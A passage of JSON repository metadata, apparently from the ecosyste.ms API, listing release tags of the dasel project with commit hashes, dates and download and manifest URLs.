ithub/TomWright/dasel@v3.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.1.4/manifests"},{"name":"v3.1.3","sha":"96cdde31ef9207ea057e453f8ba3e9503ba0bde4","kind":"commit","published_at":"2025-12-18T11:24:22.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.1.3","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.1.3/manifests"},{"name":"v3.1.2","sha":"d5dff5bf6f456a8f8d38ec9dc2b92b236661b990","kind":"commit","published_at":"2025-12-17T23:50:28.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.1.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.1.2/manifests"},{"name":"v3.1.1","sha":"52403e40289d5dab3f362a40a961760fbd4c25f2","kind":"commit","published_at":"2025-12-16T21:44:40.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.1.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"6ad791ea3aa227b0dbc92fddec8f48e2d0135ea2","kind":"commit","published_at":"2025-12-16T17:55:19.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.1.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"648f83baf070d9e00db8ff312febef857ec090a3","kind":"commit","published_at":"2025-12-15T12:50:23.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.0.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.0.0/manifests"},{"name":"v2.8.1","sha":"5e3a3cffdd50bacb493fb041d65211f440a560a5","kind":"commit","published_at":"2024-06-30T18:36:47.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.8.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"5342db0d9316def005014a4b0dd9d36dceed6f75","kind":"commit","published_at":"2024-06-28T14:39:32.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.8.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.8.0/manifests"},{"name":"v2.7.0","sha":"5d94a3049c2e81a410a6f48cf084c86c98393797","kind":"commit","published_at":"2024-03-14T15:06:02.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.7.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.7.0/manifests"},{"name":"v2.6.0","sha":"e9e9d14593834287ca573be81007cfb698c0bee3","kind":"commit","published_at":"2024-02-15T18:42:23.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.6.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.6.0/manifests"},{"name":"v2.5.0","sha":"f57118d4d0b33dbe1cffcfe9db77b3ec8fabd4fe","kind":"commit","published_at":"2023-11-28T11:24:24.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.5.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.5.0/manifests"},{"name":"v2.4.1","sha":"2db336e027018da3217463cdef7e8fed09b30a94","kind":"commit","published_at":"2023-10-18T18:39:07.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.4.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"4e6450b29788aff0877be7d49cb8ced3b905c953","kind":"commit","published_at":"2023-10-18T18:02:17.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.4.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.4.0/manifests"},{"name":"v2.3.6","sha":"501ce1a9c1c622c3c71fd61c94453dbd9109f0bb","kind":"commit","published_at":"2023-08-30T15:29:55.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.3.6","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.3.6/manifests"},{"name":"v2.3.5","sha":"31b6a92a66f533a8fe8a4e6c5fc643c7e9d6a33f","kind":"commit","published_at":"2023-08-29T16:20:14.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.3.5","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.3.5/manifests"},{"name":"v2.3.4","sha":"561291d16e0332810ff86d2e039bbed8969ad871","kind":"commit","published_at":"2023-06-01T12:40:25.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.3.4","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.3.4/manifests"},{"name":"v2.3.3","sha":"77eab5cc8a43b18efae923366c75473a7478f992","kind":"commit","published_at":"2023-05-31T10:59:39.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.3.3","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.3.3/manifests"},{"name":"v2.3.2","sha":"7b3a7823e8659302fcc6aec088126215d91823f7","kind":"commit","published_at":"2023-05-31T10:34:24.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.3.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.3.2/manifests"},{"name":"v2.3.1","sha":"5a525bf4b3fafc5d774eb67bdf99bd539d3ad0c5","kind":"commit","published_at":"2023-05-29T19:04:35.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.3.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.3.1/manifests"},{"name":"v2.3.0","sha":"716084b80f503622182b8f68e181c8535796f9ad","kind":"commit","published_at":"2023-05-29T14:43:56.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.3.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.3.0/manifests"},{"name":"v2.2.0","sha":"3b466e80eabf70b6b39aadb99e43f5fff57ea2ae","kind":"commit","published_at":"2023-04-17T09:49:40.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.2.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.2.0/manifests"},{"name":"v2.1.2","sha":"9330fce9209301236215b496b8b3346cf216fd5b","kind":"commit","published_at":"2023-03-27T15:52:09.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.1.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.1.2/manifests"},{"name":"v2.1.1","sha":"87dca47fd71df908d24539e13ec2b04fbef81b80","kind":"commit","published_at":"2023-01-19T23:49:58.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.1.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"c9187a46f74e68ed23561a53bf03c82d62ec0f5b","kind":"commit","published_at":"2023-01-11T12:06:36.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.1.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"2761f57613619a6459f526db90cd20b336f8b558","kind":"commit","published_at":"2022-12-07T22:34:52.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.0.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"db6b78e18721d074b999f9cf833c929e6a136f10","kind":"commit","published_at":"2022-12-07T09:45:17.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.0.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"4907b5c1ce63e5a76b14bf54fc959be104670b2f","kind":"commit","published_at":"2022-12-02T16:55:21.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v2.0.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v2.0.0/manifests"},{"name":"v1.27.3","sha":"e209ef3c57b6fa863ff774aad5e169b2a403529f","kind":"commit","published_at":"2022-10-18T16:00:56.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.27.3","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.27.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.27.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.27.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.27.3/manifests"},{"name":"v1.27.2","sha":"c99b8cc31bf7b965b6fc0f2d1f15d3019c6a31b0","kind":"commit","published_at":"2022-10-18T15:19:27.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.27.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.27.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.27.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.27.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.27.2/manifests"},{"name":"v1.27.1","sha":"c2d62e8b0a69427f3d120078d1e554fe5c8ef1fb","kind":"commit","published_at":"2022-09-28T09:57:28.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.27.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.27.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.27.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.27.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.27.1/manifests"},{"name":"v1.27.0","sha":"071fc3dfc8d3e50130c52c49019f19951f94b8a3","kind":"commit","published_at":"2022-09-26T13:27:20.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.27.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.27.0/manifests"},{"name":"v1.26.1","sha":"975646339dce9ad0b6bfce54de5cfc5064b4dbd8","kind":"commit","published_at":"2022-08-24T15:51:52.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.26.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.26.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.26.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.26.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.26.1/manifests"},{"name":"v1.26.0","sha":"eed5aae0462a13998fa58c5fe3606f1a074299ae","kind":"commit","published_at":"2022-07-09T12:21:13.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.26.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.26.0/manifests"},{"name":"v1.25.0","sha":"0895b1137f0ae2913b6e1a351db3a08d68f8d0d5","kind":"commit","published_at":"2022-06-26T13:41:33.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.25.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.25.0/manifests"},{"name":"v1.24.3","sha":"74ed1bdbd5b69d663b0a07f883ee8eeaba5b4e78","kind":"commit","published_at":"2022-04-23T13:20:50.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.24.3","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.24.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.24.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.24.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.24.3/manifests"},{"name":"v1.24.2","sha":"5ac77dda577247f7fa165f6c603fa8c64c8391bb","kind":"commit","published_at":"2022-04-22T20:31:12.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.24.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.24.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.24.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.24.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.24.2/manifests"},{"name":"v1.24.1","sha":"46fe0a85689f7fade0bb390e0f9e77143cd83955","kind":"commit","published_at":"2022-03-28T12:49:19.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.24.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.24.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.24.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.24.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.24.1/manifests"},{"name":"v1.24.0","sha":"edfa53844976fc02967529d5f8bb3376965b75f9","kind":"commit","published_at":"2022-03-18T16:28:37.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.24.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.24.0/manifests"},{"name":"v1.23.0","sha":"00978b8e0c88dde6e1edca5293c8ad0c8abd65ee","kind":"commit","published_at":"2022-03-10T20:20:52.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.23.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.23.0/manifests"},{"name":"v1.22.1","sha":"adf569e9f648e798531415c2589a77b37ffeb668","kind":"commit","published_at":"2021-11-09T16:57:31.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.22.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.22.1/manifests"},{"name":"v1.22.0","sha":"4d7d1c22809b690c2e5a796e472082b5b4ee4d6f","kind":"commit","published_at":"2021-11-09T16:29:21.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.22.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.22.0/manifests"},{"name":"v1.21.2","sha":"67b89e9e0cdfd2b6a32c6216f8e5f928c8d61b47","kind":"commit","published_at":"2021-10-21T14:06:01.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.21.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.21.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.21.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.21.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.21.2/manifests"},{"name":"v1.21.1","sha":"9f680d2f9a19eee3ea2e4e888cda582020c894ce","kind":"commit","published_at":"2021-09-30T15:51:36.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.21.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.21.1/manifests"},{"name":"v1.21.0","sha":"8f0f5c777c03ae94df0c6b3ca6c3ab16f758ce66","kind":"commit","published_at":"2021-09-29T11:14:08.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.21.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.21.0/manifests"},{"name":"v1.20.1","sha":"ef066662c3f4993d8a0d92e7c4b25f50979aace4","kind":"commit","published_at":"2021-09-28T18:35:14.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.20.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.20.1/manifests"},{"name":"v1.20.0","sha":"bd465f7f77fd4c1e70b27b183d9eae89559140bd","kind":"commit","published_at":"2021-08-30T15:15:50.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.20.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.20.0/manifests"},{"name":"v1.19.0","sha":"8c817d81087f99cd3d4a33926c497ab4b04fb7b3","kind":"commit","published_at":"2021-08-14T12:51:27.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.19.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.19.0/manifests"},{"name":"v1.18.0","sha":"1facf4ea07d8acb9b1a150c144fb734691e6c1aa","kind":"commit","published_at":"2021-08-11T10:21:18.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.18.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.1